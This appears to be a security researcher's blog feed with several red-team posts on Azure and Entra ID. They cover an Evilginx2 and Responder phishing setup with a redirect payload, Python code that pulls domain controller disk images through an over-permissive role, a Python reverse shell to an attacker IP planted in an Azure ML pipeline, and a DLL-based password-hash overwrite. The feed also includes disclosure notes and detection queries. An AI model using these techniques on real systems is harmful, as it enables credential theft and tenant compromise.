<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://nullg0re.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://nullg0re.github.io/" rel="alternate" type="text/html" /><updated>2026-06-14T17:02:16+00:00</updated><id>https://nullg0re.github.io/feed.xml</id><title type="html">Nullg0re Security</title><subtitle>Nullg0re Security Blog</subtitle><author><name>Anthony Larcher-Gore (Tony Gore) (Nullg0re)</name></author><entry><title type="html">Cracking Zero Trust On Prem To Azure Pivots With Responder And Evilginx2</title><link href="https://nullg0re.github.io/2024/05/01/cracking-zero-trust-on-prem-to-azure-pivots-with-responder-and-evilginx2.html" rel="alternate" type="text/html" title="Cracking Zero Trust On Prem To Azure Pivots With Responder And Evilginx2" /><published>2024-05-01T00:00:00+00:00</published><updated>2024-05-01T00:00:00+00:00</updated><id>https://nullg0re.github.io/2024/05/01/cracking-zero-trust-on-prem-to-azure-pivots-with-responder-and-evilginx2</id><content type="html" xml:base="https://nullg0re.github.io/2024/05/01/cracking-zero-trust-on-prem-to-azure-pivots-with-responder-and-evilginx2.html"><![CDATA[<p>Screenshots can be found here:  https://web.archive.org/web/20241102072144/https://nullg0re.com/2024/05/cracking-zero-trust-on-prem-to-azure-pivots-with-responder-and-evilginx2/</p>

<p>First things first, as always in these blog posts. Music:</p>

<h2 id="credit-where-credit-is-due">Credit Where Credit Is Due</h2>
<p>I want to first start this post off by stating that this technique was discovered / identified / and curated by none other than my good friend Nevada Romsdahl (Developer of PhishInSuits and SquarePhish). Nevada and I had the pleasure of working closely with each other for many years.</p>

<p>This technique being described in todays blog post was discovered by Nevada in 2023 and showcases a novel way to pivot from on-prem to the cloud while also beating Passwordless, MFA and/or Zero Trust Environments, and my gut tells me that techniques like this are going to become the norm in the years of the future and need to be publicly documented and showcased for the world to see.</p>

<p>The purpose of this blog post is to showcase a novel technique, that could be useful as more organizations adopt more secure authentication internally.</p>

<h2 id="the-problem-statement">The Problem Statement</h2>
<p>There are two problems that I can identify here:</p>

<ul>
  <li>Passwordless, MFA and/or Zero Trust Environments</li>
  <li>The need to pivot from on-premise infrastructure to cloud infrastructure
As organizations continue to improve their security posture by implementing security mechanisms that go beyond just password authentication, Red Teamers need to be able to improve their attack sequences to meet the demands of the environments that they are assessing.</li>
</ul>

<p>When an organization goes to a passwordless or Zero Trust configuration and the organization no longer uses passwords within their environments, going after authentication tokens is where Red Teams need to spend their time.</p>

<p>While companies like Microsoft and Google are making it more feasible for their customers to move towards Zero Trust by disabling password based authentication, they aren’t disabling other protocols that are equally leaving their customers at risk, like Link-Local Multicast Name Resolution (LLMNR), NBT-NS, and MDNS. This leaves organizations at risk to attack tools like Responder and Inveigh.</p>

<p>We can combine Responder / Inveigh with invisible proxies, such as Evilgnx2, in order to steal authentication tokens (in the case of passwordless or Zero Trust environments) or straight up clear text credentials (in the case of just trying to pivot to the cloud from on-prem).</p>

<h2 id="the-setup">The Setup</h2>
<h3 id="evilgnx2">Evilgnx2</h3>
<p>As of this writing, version 3.3.0 is the latest release. The setup is pretty simple:</p>

<p>Purchase a typo-squat domain from a place like GoDaddy (or wherever that lets you create DNS entries).
The typo-squatted domain is important, we want to raise as little suspicion as possible. If the company is nullg0re.com try getting the nullgore.com domain (replace the zero with a lowercase “O”). When the user is tricked into giving up their access, we want them to believe that everything is normal.
Move or download the Evilgnx2 release to a cloud compute system.
Assign DNS records in GoDaddy to your cloud compute systems IP: I.e: www.nullgore.com = <ip-address>, login.nullgore.com = <ip-address>
Start the Evilgnix2 server: ./evilgnix -p /path/to/your/o365-or-glcoud-phishlets
Set the domain
Enable the phishlet. This will tell you if your configuration has an errors, pay attention here cause this will save you time fixing your setup.
Create your lure
Save your lure for later (you will need this in the responder steps)</ip-address></ip-address></p>
<h3 id="responder">Responder</h3>
<p>Responder has two files that we need to modify. The Responder.conf file and then we need to create a file called 302.html in the Responder/Files directory.</p>

<p>In the Responder.conf file, we need to open the file and browse down to the section where it says:</p>

<p>; Set to On to serve the custom HTML if the URL does not contain .exe
; Set to Off to inject the ‘HTMLToInject’ in web pages instead
Serve-Html = Off</p>

<p>; Custom HTML to serve
HtmlFilename = files/AccessDenied.html
And set this value to the following:</p>

<p>; Set to On to serve the custom HTML if the URL does not contain .exe
; Set to Off to inject the ‘HTMLToInject’ in web pages instead
Serve-Html = On</p>

<p>; Custom HTML to serve
HtmlFilename = files/302.html
Save and close the file.</p>

<p>Next we want to create the Responder/files/302.html file using your preferred text editor, and add the following content to line 1 (replacing <LURE-FROM-EVILGNIX2-STEP-8> with the Lure you created in Evilgnix2 Step 7-8):</LURE-FROM-EVILGNIX2-STEP-8></p>

<pre><code>&lt;meta http-equiv="refresh" content="0; URL='&lt;LURE-FROM-EVILGNIX2-STEP-8&gt;'" /&gt;
</code></pre>
<p>Save and close this file.</p>

<p>Lastly, you want to start Responder in the environment and sit back while waiting for the 302.html file to be served by Responder to the users device and the user to be tricked into entering their credentials into the Evilgnix Invisible proxy.</p>

<p>sudo python3 Responder.py -I eth0 -Pv
So What’s Happening Here
Responder poisons LLMNR, NBT-NS, and MDNS queries, so in a nutshell here’s how the attack is flowing:</p>

<p>Red Teamer kicks off Responder and starts poisoning the environment
User logs into their computer and mis-types a URL into their browser
Computer checks /etc/hosts
Computer checks local DNS
Computer broadcasts to everyone on the broadcast domain over LLMNR the mis-typed hostname
Computer broadcasts to everyone on the broadcast domain over NBT-NS the mis-typed hostname
Computer broadcasts to everyone on the broadcast domain over MDNS the mis-typed hostname
Once the users computer broadcasts to everyone on the broadcast domain over the respective protocol, responder kicks in and says “I HAVE / I AM” that mis-typed hostname, and coerces the users computer to connect back to the responder server
Responder serves up the 302.html file into the users browser, which uses HTML code to automatically redirect the user to the Evilgnx2 invisible proxy
Evilgnx2 intercepts and forwards the users request to login.microsoftonline.com and siphons the users credentials and/or session tokens from the user after they log into the fake login.microsoftonline.com website
Red Team is now able to pivot to the cloud by leveraging the stolen credentials or stealing the users session tokens
Attack in Action
I’ve gone ahead and made a demo video of the attack, please take a look:</p>

<h2 id="helper-scripts">Helper Scripts</h2>
<p>Secureworks has published a GitHub repository detailing a bash script that can be used to help build out the Responder side of the setup faster and more reliably. That script can be found here.</p>

<h2 id="conclusion">Conclusion</h2>
<p>As organizations begin to move towards passwordless and Zero Trust configurations, its important that we as offensive professionals keep moving the needle too. Long live the cat and mouse game!</p>]]></content><author><name>Anthony Larcher-Gore (Tony Gore) (Nullg0re)</name></author><category term="Other" /><summary type="html"><![CDATA[Screenshots can be found here: https://web.archive.org/web/20241102072144/https://nullg0re.com/2024/05/cracking-zero-trust-on-prem-to-azure-pivots-with-responder-and-evilginx2/]]></summary></entry><entry><title type="html">Permissive Azure Role Allows Vm Credential Dumping</title><link href="https://nullg0re.github.io/2024/03/01/permissive-azure-role-allows-vm-credential-dumping.html" rel="alternate" type="text/html" title="Permissive Azure Role Allows Vm Credential Dumping" /><published>2024-03-01T00:00:00+00:00</published><updated>2024-03-01T00:00:00+00:00</updated><id>https://nullg0re.github.io/2024/03/01/permissive-azure-role-allows-vm-credential-dumping</id><content type="html" xml:base="https://nullg0re.github.io/2024/03/01/permissive-azure-role-allows-vm-credential-dumping.html"><![CDATA[<p>Screenshots can be found here: https://web.archive.org/web/20240917142356/https://nullg0re.com/2024/03/permissive-azure-role-allows-vm-credential-dumping/</p>

<p>As always, jams:</p>

<h1 id="introduction">Introduction</h1>
<p>While performing research recently I discovered an Azure RBAC role that, by default, is able to perform actions within the Azure portal that appeared to be more than it should have been allowed.</p>

<p>The Azure RBAC Role I’m referring to is the Avere Contributor role used to manage all things Avere vFXT for Azure.</p>

<p>Avere vFXT for Azure is a service offered by Azure and according to Microsoft documentation:</p>

<p>Avere vFXT for Azure is a filesystem caching solution for data-intensive high-performance computing (HPC) tasks. It lets you take advantage of cloud computing’s scalability to make your data accessible when and where it’s needed – even for data that’s stored in your own on-premises hardware.</p>

<p>Avere vFXT supports these common computing scenarios:</p>

<p>Hybrid cloud architecture – Avere vFXT for Azure can work with a hardware storage system, which provides the benefit of cloud computing without having to move files.
Cloud bursting – Avere vFXT for Azure can help you move your data to the cloud for a single project, or “lift and shift” the entire workflow permanently.
Simultaneously, while performing this research I learned about a really great resource: AzRoleAdvertizer.</p>

<p>This website contains a list of all the Azure RBAC roles and each of their accompanying Azure RBAC API permissions, complete with a reactive table in which you can lookup a given role, or a given permission and see all of the data that comes with.</p>

<p>When looking at the Avere Contributor role in AzRoleAdvertizer I found the following Azure RBAC API permissions:</p>

<p>Long list, I know. The juicy bits here are the following:</p>

<p>Microsoft.Compute/virtualMachines/* (Allows the Avere Contributor role to action any of the functionality in the virtualMachines/* space, including VM extensions that would allow an attacker to reset any VM users password or SSH key, or execute commands or scripts on either Windows or Linux OS VMs)
Microsoft.Compute/disks/* (Allows the Avere Contributor role to create VMDK backups of any VM in the tenant)
Microsoft.Storage/storageAccounts/* (Allows the Avere Contributor role to list the access keys for any Storage Account in the tenant, including CloudShell storage accounts)
The permission that we’re going to focus in in this blog is going to be the disks/* permission as this has a really interesting privilege escalation and lateral movement opportunity here:</p>

<p>The Avere Contributor role can create backups of any Virtual Machine in an organizations Azure tenant, including backed up Domain Controllers.</p>

<p>The Download
To create the VM backup, a Threat Actor with the Avere Contributor role could use the following Python snippet:</p>
<pre><code class="language-python">def get_backup_url(token, subscriptionId, resourceGroup, vmDiskImage):
    url = "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroup}/providers/Microsoft.Compute/disks/{vmDiskImage}/BeginGetAccess?api-version=2022-03-02"
    headers = {
        "x-ms-client-session-id": "cb8c32a0f31e46f890d7e46b61b63cd9",
        "x-ms-command-name": "Microsoft_Azure_DiskMgmt.",
        "accept-language": "en",
        "authorization": f"Bearer {token}",
        "x-ms-effective-locale": "en.en-us",
        "content-type": "application/json",
        "accept": "*/*",
        "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0",
        "x-ms-client-request-id": "c7255382-42a5-486a-ba20-9c0ad90ea004",
        "origin": "https://portal.azure.com",
        "sec-fetch-site": "same-site",
        "sec-fetch-mode": "cors",
        "sec-fetch-dest": "empty",
        "accept-encoding": "gzip, deflate, br",
    }
    data = {
        "access":"read",
        "durationInSeconds": 3600000
    }
    req = requests.post(url, headers=headers, json=data)
    if req.status_code == 202:
        try:
            for k,v in req.headers.items():
                if k.lower() == 'location':
                    redirect_url = v
                    req2 = requests.get(redirect_url, headers=headers)
                    if req2.status_code == 200:
                        r = req2.json()
                        disk_download_url = r["accessSAS"]
                        print (f"[ + ] Found DC Disk VM Download URL: {disk_download_url}")
                        print (f"[ + ] Click above link to download VHD of Target Domain Controller, then follow the steps here to extract the secrets: https://drmarmar.com/vmdk-credentials")
                        return True
                    else:
                        print (f"[ ! ] GetBackupUrlError: Invalid Status Code for redirect_uri: StatusCode: {req2.status_code}\r\n\r\n{req2.text}")
                        exit()
        except Exception as e:
            print (f"[ ! ] GetBackupUrlError: Location Header Not Found: {e}")
            exit()
    else:
         print (f"[ ! ] GetBackupUrlError: Invalid Status Code: {req.status_code}\r\n\r\n{req.text}")
         exit()
</code></pre>
<p>This snippet will send a request to Azure, asking Azure to create the backup Virtual Machine Disk Image (VMDK), and then store the VMDK inside of a storage account. After performing this action, Azure’s API will respond to the request with a Shared Access Signature (SAS) URL for the VMDK file sitting in the storage account.</p>

<p>The Threat Actor would then take the SAS URL and open the URL in a browser, which would trigger the download of the VMDK file:</p>

<h1 id="local-mounts">Local Mounts</h1>
<p>With the VMDK downloaded, the attacker would then need to use a tool like kpartx to partition the VMDK and attach it to the attackers local Linux filesystem:</p>

<p>Once the VMDK has been attached to the local filesystem, the Threat Actor would mount the partition to a local directory like /mnt/tmp:</p>

<p>With the filesystem fully prepared, the Threat Actor would use Impacket’s secretsdump.py script to dump the SAM and NTDS.dit databases to extract the organizations domain NTLM hashes:</p>

<p>If the organization has password sync enabled within their tenant or users are re-using their passwords between on-prem and cloud accounts, this could be a way for a Threat Actor to escalate privileges within the cloud, or even move laterally if the Threat Actor has a foothold on the organizations internal network.</p>

<p>A Threat Actor could crack these NTLM hashes offline or use pass-the-hash attacks or even Kerberos attacks against the organizations domain (this is considering the krbtgt NTLM hash is included in NTDS.dit).</p>

<p>Speaking of Kerberos, if the organization has DesktopSSO enabled, this could be a means for the Threat Actor to pivot back into the cloud as a Global Administrator in cases where MFA isn’t required for a Global Admin account.</p>

<h1 id="msrc-response">MSRC Response</h1>
<p>I submitted this vulnerability to Microsoft on March 23, 2024. MSRC Responded on May 7th, 2024 as follows:</p>

<p>Image reads as follows:</p>

<p>Hello Tony,</p>

<p>Thank you for being patient. Upon investogation, our team determined that this is not a vulnerablity. The reported behaviour related to the permission appears ot be working as intended and is not an elevation of privilege. This report seems to be more of a feature request. We would also like to highlight that recently we have announced the decrepation of this solution by the end of 2025. However, we have shared your report with the team responsible for maintaining the product or service and they may review this report for any potential changes and/or appropriate action as needed to help keep customers protected.</p>

<p>Please feel free to let us know if you have queries.</p>

<p>As now, we are proceeding with the case closure. Kindly continue your research and help us protect our customers. We look forward to your future reports.</p>

<p>Regards,</p>

<p>MSRC</p>

<h1 id="detection">Detection</h1>
<p>Below is a KQL query you can use to see if this role is being used in your environment to exploit this issue:</p>
<pre><code>AzureActivity
| where OperationNameValue == "MICROSOFT.COMPUTE/DISKS/BEGINGETACCESS/ACTION"
| where tostring(parse_json(Authorization).evidence.role) == "Avere Contributor"
If you would like to see any instance where a user has attempted create a backup of a Virtual Machine’s disk image, you can use the following KQL query as well:

AzureActivity
| where OperationNameValue == "MICROSOFT.COMPUTE/DISKS/BEGINGETACCESS/ACTION"
Conclusion
</code></pre>
<p>I identified a vulnerability within Microsoft Azure where the “Avere Contributor Role” can be used to download Disk Images of Virtual Machines and extract secrets from the downloaded VMDK files.  This vulnerability can lead to privilege escalation within an Azure tenant, within an on-premises environment, and can be used to move laterally within both the cloud environment and an organizations on-premises environment.</p>]]></content><author><name>Anthony Larcher-Gore (Tony Gore) (Nullg0re)</name></author><category term="Other" /><summary type="html"><![CDATA[Screenshots can be found here: https://web.archive.org/web/20240917142356/https://nullg0re.com/2024/03/permissive-azure-role-allows-vm-credential-dumping/]]></summary></entry><entry><title type="html">Securing Ai Azure Machine Learning Studio</title><link href="https://nullg0re.github.io/2024/02/01/securing-ai-azure-machine-learning-studio.html" rel="alternate" type="text/html" title="Securing Ai Azure Machine Learning Studio" /><published>2024-02-01T00:00:00+00:00</published><updated>2024-02-01T00:00:00+00:00</updated><id>https://nullg0re.github.io/2024/02/01/securing-ai-azure-machine-learning-studio</id><content type="html" xml:base="https://nullg0re.github.io/2024/02/01/securing-ai-azure-machine-learning-studio.html"><![CDATA[<p>Screenshots can be found here: https://web.archive.org/web/20240917153318/https://nullg0re.com/2024/02/securing-ai-azure-machine-learning-studio/</p>

<p>But always music first:</p>

<h1 id="introduction">Introduction</h1>
<p>Azure has a Cloud product called The Machine Learning Studio. This studio is a fully equipped Machine Learning lab environment that is tied to your organizations Azure subscription. Itis very easy to use and simplifies the process of creating and training AI/ML Models.</p>

<p>While AI/ML has been at the forefront of the world’s attention lately, one of the things that is usually last on everyone’s mind when developing new technologies is security.</p>

<p>The question of security surrounding ML/AI is multi-faceted and there are many angles that the question can be approached from. Today, we’re going to look at an interesting use-case in Microsoft Azure’s Machine Learning Studio that will hopefully allow us to highlight some security concerns around the infrastructure in which we develop and train AI/ML models.</p>

<p>The following will cover the deployment of Machine Learning Studio, the creation of a test training model, and then we’ll leverage some capabilities provided by the Azure infrastructure that will allow us to begin attacking the AI/ML training infrastructure and ultimately allow us to deploy a backdoor into the infrastructure which will give us persistent access to the Azure tenant.</p>

<h1 id="machine-learning-studio-and-model-deployment">Machine Learning Studio and Model Deployment</h1>
<p>To get to the Machine Learning Studio, simply open a browser and type https://ml.azure.com into the browser and log in with your Azure credentials. After logging in, you will be presented with this page:</p>

<p>Here you will need to create your workspace and resource group. Click + New under Workspaces and a new panel will appear. Give your workspace a name, ensure its tied to a subscription, assign it to an existing or new Resource Group, and give the environment a region:</p>

<p>Click Create and wait for the environment to be deployed.</p>

<h1 id="building-the-ml-training-lab">Building the ML Training Lab</h1>
<p>After you create the new Workspace, you’ll be redirected to the Workspaces main menu. Here, click on your newly created Workspace name:</p>

<p>The workspace will be loaded, and you’ll be presented with all kinds of options to begin building out AI/ML workflows.</p>

<p>From here we want to click on Designer in the left tile pane</p>

<p>After we click Designer we want to hit the giant blue plus sign to Create a new pipeline using classic prebuilt components</p>

<h1 id="creating-the-model">Creating the Model</h1>
<p>From here were going to move quickly through the model creation process but will call out areas that are interesting from the perspective of security. Instead of providing screenshots for each step, we will only provide screenshots for the areas that might pique a hacker’s interest.</p>

<p>To create the model, we will need to perform the following steps:</p>

<p>Supply sample data
Clean the data
Pass the data to special modules for pre-training processing
Pass the data to the training model
Train the model
Supply sample data
To train an AI/ML model we must supply the model data to be trained with. This means we must understand the data we input into our model as well as understand what our models intended use-cases are. If we train a model on the statistical analysis of Titanic passengers, but our models use-case is to answer questions on traffic or weather analysis, then our model will be flawed and our AI/ML model will not provide any value.</p>

<p>Because this post is covering security implications of the infrastructure surrounding the model training it does not matter what data we supply it, so long as the data is valid within the context of the model itself (is comma separated, contains enough data, is not corrupted, etc..). We will use the Titanic Training Dataset as our dataset just to make sure our data is clean, valid, uncorrupted, and useful to stand up the Azure Machine Learning Studio infrastructure for training models.</p>

<p>In the Designer menu:</p>

<p>Click Data under the search bar
Click the + arrow to create a new data set
In the new tile pane:
Give the dataset a name: titanic-data-set
Give the dataset a description (optional)
Select the Tabular data type
Click Next
In the Data Source, take a moment to observe the options:
From Azure Storage
From SQL Databases
From Azure Open Datasets
From local files
From web files
Each of these require vetting to ensure that the datasets your employees are bringing to your models is coming from a secure and trusted location.</p>

<p>For Azure Storage, and SQL Databases, your options will be limited to the storage accounts and SQL databases located within your organizations tenant, so there is less opportunity for a bad actor to taint the data source that you would use for your AI/ML model.</p>

<p>For Azure Open Datasets, you are trusting that the datasets that have been published to that resource have been vetted and verified. To the knowledge of this researcher, there is a strenuous vetting process for the datasets that are published under Azure’s Open Datasets, meaning there is ample reason to trust that the datasets are valid and not corrupted or potentially storing malicious data. But this does require you to trust an external organization for that dataset you train your models with.</p>

<p>Lastly, for local files and web files, we must trust the employees to vet their own data, especially in the instance of web files. The web files option allows an employee the ability to download datasets from arbitrary URLs. While Microsoft performs a decent job at ensuring the incoming data is in the correct format, it does not know if the dataset has been corrupted or contains malicious inputs that could adversely affect the output of the trained AI/ML model.</p>

<p>For the sake of continuing on the with the topics, we will choose From web files.</p>

<p>After clicking web files we’ll be presented with a new tile where we will:
Plug in our dataset URL
Choose to have Microsoft perform data validation (goes back to previous discussion). We will opt into having Microsoft perform the data validation.
Click Next
In the Settings tile, we will keep everything default but we will ensure our dataset looks valid in the Data preview bar at the bottom of the time.
In the Schema tile, click Next
In the Review tile, click Create
Back in the Designer tile, we will click and drag our new dataset into the Designer pane.</p>

<p>Clean the data
To ensure that we aren’t working with blank data in our datasets we need to ensure that we clean the data. To do this, click Component under the search bar and look for Clean Missing Data. Click and drag that into the Designer pane next to the titanic dataset from the previous section.</p>

<p>We will want to connect the training set to the Clean Missing Data component by clicking the bubble at the bottom of the titanic dataset and connect it to the bubble at the top of the Clean Missing Data component.</p>

<p>Next, we will want to connect our Cleaned dataset to a specialized module and to our training model.</p>

<p>Pass the data to special modules for pre-training processing.
In Azure Machine Learning Studio there is the ability to pass your training dataset to Python scripts to perform data manipulation on the dataset before sending the data back to model for training. These Python calculations are done inside of a Linux environment that the AL/ML trainer deploys and could be a containerized environment or a singular host. Keep in mind, this is also the same environment that the AI/ML model will be trained in as well.</p>

<p>This is one of those “Really good for everybody does not mean really good for security” situations. There’s not necessarily a vulnerability here, but it does imply risk that needs to be considered.</p>

<p>Let’s say for instance that an employee who has access to the Machine Learning Studio has had their account compromised by an adversary, and the adversary was looking for a way to establish a persistent foothold inside of an organizations tenant. This adversary could look at the Machine Learning Studio as a means of establishing that persistence if they were able to find a Python script that was used to train a model. The adversary would just need to modify the Python script so that when the model is trained again, the adversary can establish that persistent access.</p>

<p>I utilized the Execute Python Script Designer Component, opened the Parameters button, and noticed that it was simply a Python IDE that we could enter any python code we wanted, and it would get executed when the model was being trained.</p>

<p>I then created the following revshell() python function and added it to the displayed python script:</p>

<p>def revshell():
    import socket,os,pty
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((“X.X.X.X”,443))
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    pty.spawn(“/bin/bash”)
After saving the code, we finished building the ML learning environment and started the training session. The final ML training design is as follows:</p>

<p>Before we can execute the python script, we have to make sure that there is a compute instance or Kubernetes cluster configured for the training deployment. To quickly iterate through the steps to configure a compute instance:</p>

<p>Left pane -&gt; Manage -&gt; Compute
Click New
Click Review + Create
Click Create
Wait about 10 minutes for the Compute instance to be deployed.
Once the Compute instance is configured, we can go ahead and launch the model training.
To launch the model training we need to go back to the Designer menu, select our Design, and the click Configure &amp; Submit in the top right corner.</p>

<p>Give the pipeline job an experiment name, and head to Runtime settings to make sure your compute instance is connected to the pipeline job, then click Review + Submit.</p>

<p>Head over to Assets -&gt; Jobs in the left pane and select your job, here you can watch your pipeline job running in real time.</p>

<p>Once the pipeline hits the python script, the script will execute resulting in a reverse shell from the deployed compute instance to the attacker’s callback server, where the attacker could establish persistence mechanisms on the compute instance and hide away a backdoor into an organizations Azure tenant:</p>

<h1 id="conclusion">Conclusion</h1>
<p>It’s important to keep an eye on traditional security concerns when dealing with new technologies, as standard attacks against AI/ML infrastructure is just as viable as the latest “hotness” of performing prompt injection attacks or any of the interesting new attack classes that have been created since the explosion of AI/ML in the daily lives of us around the world.</p>]]></content><author><name>Anthony Larcher-Gore (Tony Gore) (Nullg0re)</name></author><category term="Other" /><summary type="html"><![CDATA[Screenshots can be found here: https://web.archive.org/web/20240917153318/https://nullg0re.com/2024/02/securing-ai-azure-machine-learning-studio/]]></summary></entry><entry><title type="html">Entra Id Connect Arbitrary Password Overwrite</title><link href="https://nullg0re.github.io/2024/01/01/entra-id-connect-arbitrary-password-overwrite.html" rel="alternate" type="text/html" title="Entra Id Connect Arbitrary Password Overwrite" /><published>2024-01-01T00:00:00+00:00</published><updated>2024-01-01T00:00:00+00:00</updated><id>https://nullg0re.github.io/2024/01/01/entra-id-connect-arbitrary-password-overwrite</id><content type="html" xml:base="https://nullg0re.github.io/2024/01/01/entra-id-connect-arbitrary-password-overwrite.html"><![CDATA[<p>Screenshots can be found here: https://web.archive.org/web/20241013082556/https://nullg0re.com/2024/01/entra-id-connect-arbitrary-password-overwrite/</p>

<p>As always, jams….</p>

<h1 id="dcsync-hijacking">DCSync Hijacking</h1>
<p>I recently published a blog post detailing an attack where we could hijack AADConnect’s DCSync dataset to steal credentials and crack the credentials offline. The foundational knowledge here is as follows:</p>

<ul>
  <li>AADConnect performs DCSync operations to collect on-premises user’s credentials</li>
  <li>Each NT hash is encrypted 1,000 times</li>
  <li>The resulting encrypted credential dataset is sent off to Entra ID for processing
We learned that by injecting a malicious DLL into the miiserver.exe process, we could actually siphon the DCSync dataset to a file on disk for later exfiltration and cracking purposes, effectively allowing us to perform DCSync operations without triggering any traditional alerts.</li>
</ul>

<p>What if I told you that there’s more that we could do here?</p>

<h1 id="aadconnect-arbitrary-password-overwrite">AADConnect Arbitrary Password Overwrite</h1>
<p>Leveraging the same Microsoft.Online.PasswordSynchronization.dll DLL, same PasswordUtility class, and the same DecryptNtOwfPwdWithIndex method, we can actually overwrite any users NT hash with an attacker-controlled value, giving ourselves access to the organizations Azure subscription as the compromised user, with a pretty easy and effective ripcord for resetting the users password to the original value.</p>

<p>We can even re-utilize the Proof of Concept exploit from the previous post, but instead of writing the credentials to disk, we target a specific user and overwrite the user’s NT hash:</p>

<p>The below screenshot depicts the code necessary to overwrite victimuser2‘s NT Hash. AADConnects will initiate the DCSync and DecryptNtOwfPwdWithIndex will iterate through the results, encrypting each NT Hash 1,000 times before packaging it and sending it off to Entra ID. Once DecryptNtOwfPwdWithIndex hits the victimuser2 credential information, it will convert the MD4 hash of TacoTacoTaco123!! into the correct .NET format (e9-f8-c7-40-etc-etc) and then assign the result variable with the overwritten NT hash. AADConnect will then encrypt the overwritten hash 1,000 times and ship it off to Entra ID which will consider the overwritten hash the hash of record for the user’s Azure account.</p>

<p>This will result in the on-premises account’s NT hash being out of sync with the Entra ID NT hash, but as long as the miiserver.exe process isn’t restarted, the attacker will be able to log into the user’s Azure account indefinitely.</p>

<h1 id="here-is-my-proposed-attack-path">Here is my proposed Attack Path:</h1>

<h2 id="attack-path">Attack Path</h2>
<ol>
  <li>Attacker gains access to the AADConnect Server as Local Administrator.</li>
  <li>Attacker builds malicious DLL that targets a Global Administrator.</li>
  <li>Attacker injects malicious DLL into the miiserver.exe process.</li>
  <li>AADConnect initiates DCSync to collect on-premises credentials.</li>
  <li>AADConnect begins the process of encrypting each NT hash 1,000 times. When the AADConnect function reaches the targeted Global Administrator account, the DLL code overwrites the Global Admins NT Hash with a value the attacker controls.</li>
  <li>AADConnect proceeds to encrypt the overwritten hash and continues operations.</li>
  <li>AADConnect ships the encrypted hashes to Entra ID.</li>
  <li>Entra ID receives the NT hashes and processes them.</li>
  <li>Attacker pivots from on-premises to Entra ID, taking the Global Administrator account with it.</li>
  <li>Attacker collects Access Tokens, Refresh Tokens, and Primary Refresh Tokens, sets up backdoor accounts, etc… all before restarting the miiserver.exe service without triggering any alerts.
It is important to call out that if an adversary has performed this attack, you can reset the compromised users credential to it’s original value by restarting the miiserver.exe process and then performing a full sync between on-premises and Entra ID. This will reset the password in Azure’s records to the value stored on-prem.</li>
</ol>

<h1 id="microsofts-response">Microsoft’s Response</h1>
<p>As with the previous blog post, this attack requires Local Admin privileges on an AADConnect server, which are considered Tier 0 devices. Microsoft’s documentation clearly states that these types of devices must have the highest security as they can be severely abused or exploited, as shown above and in the previous blog post.</p>

<h1 id="conclusion">Conclusion</h1>
<p>AADConnect / Entra ID Connect continues to be a target rich environment and is ripe for additional exploitation and research.</p>]]></content><author><name>Anthony Larcher-Gore (Tony Gore) (Nullg0re)</name></author><category term="Other" /><summary type="html"><![CDATA[Screenshots can be found here: https://web.archive.org/web/20241013082556/https://nullg0re.com/2024/01/entra-id-connect-arbitrary-password-overwrite/]]></summary></entry><entry><title type="html">Automating Rtfm With Chatgpt</title><link href="https://nullg0re.github.io/2023/12/01/automating-rtfm-with-chatgpt.html" rel="alternate" type="text/html" title="Automating Rtfm With Chatgpt" /><published>2023-12-01T00:00:00+00:00</published><updated>2023-12-01T00:00:00+00:00</updated><id>https://nullg0re.github.io/2023/12/01/automating-rtfm-with-chatgpt</id><content type="html" xml:base="https://nullg0re.github.io/2023/12/01/automating-rtfm-with-chatgpt.html"><![CDATA[<p>Screenshots can be found at: https://web.archive.org/web/20240917153006/https://nullg0re.com/2023/12/automating-rtfm-with-chatgpt-a-security-researchers-guide-to-vulnerability-discovery-with-the-help-of-llms/</p>

<p>But first – MUSIC 😛</p>

<h1 id="bluehat-october-2023">BlueHat October 2023</h1>
<p>I had the pleasure and privilege of attending Microsoft’s BlueHat October 2023 conference this year and was able to see and enjoy many of the talks that were presented. There are several that stood out but there is one that I specifically want to talk about (and is the inspiration for this post and the work the post details).</p>

<p>A Security Researcher by the name of Dor Dali had a brilliant idea of “going back to the basics” and just reading the Microsoft documentation regarding the Remote Desktop Protocol. This approached enabled him and his team to identify three CVE’s including a Remote Code Execution bug.</p>

<p>His talk was titled “From RTFM to RCE: An Unexpected Dive into the Remote Desktop Protocol” and the foundation of the talk was simply Read The F***ing Manual. Here is the link to his talk if you’d like to watch it for yourself:</p>

<h1 id="personal-challenges">Personal Challenges</h1>
<p>I have multiple reverse engineering and exploit development certifications from Offensive Security and the concept of reading the documentation before starting to develop exploits isn’t lost on me. But in practice, at least from my personal experience, I like to tinker first and then read the documentation if something doesn’t make sense.</p>

<p>This approach leads to a TON of long nights, working weekends, banging my head against the wall until something clicks… Needless to say, Dor inspired me to take a different approach.</p>

<p>I believe, one of the biggest challenges in bug hunting platforms as large and complex as Microsoft Azure or Google Cloud Platform, is not having enough time in a lifetime to be able to test every single function or parameter or environment that can be deployed. I’m 34 now and I believe my grandchildren would have grandchildren by the time the Gore family line finished reading all of the current documentation out there. Not even talking about the actual tinker time.</p>

<p>How can we be more efficient in our vulnerability discovery and analysis, while not skimping on the basics (reading the manual) and not skimping on the heavy lifting done during tinkering.</p>

<h1 id="enter-chatgpt">Enter ChatGPT</h1>
<p>Over the past two weeks I started developing a tool with my good friend 0xZDH. Here’s the general breakdown of what the tool does:</p>

<p>Take a Microsoft Documentation URL as an argument
Using Selenium, connect to the documentation URL and collect all chapter and subchapter links found in the documentation page’s Table of Contents
Download all of the HTML content and convert them all to Markdown
Extract the raw text from the Markdown
Split the extracted text into chunks due to ChatGPT prompt size restrictions
Convince ChatGPT it’s a helpful assistant, its a Cybersecurity Expert, and is an expert in all known vulnerabilities
Pass each chunk to ChatGPT and politely ask it to identify any and all vulnerabilities that are described by the protocol / documentation
Convert ChatGPT responses, documentation title page, and chunk number into a Markdown table
Render the final Markdown table in GitHub, GitLab, Obsidian, or some other Markdown rendering tool.
Begin analysis
Tool Output</p>

<p>Final Output</p>

<h1 id="good-approach">Good Approach?</h1>
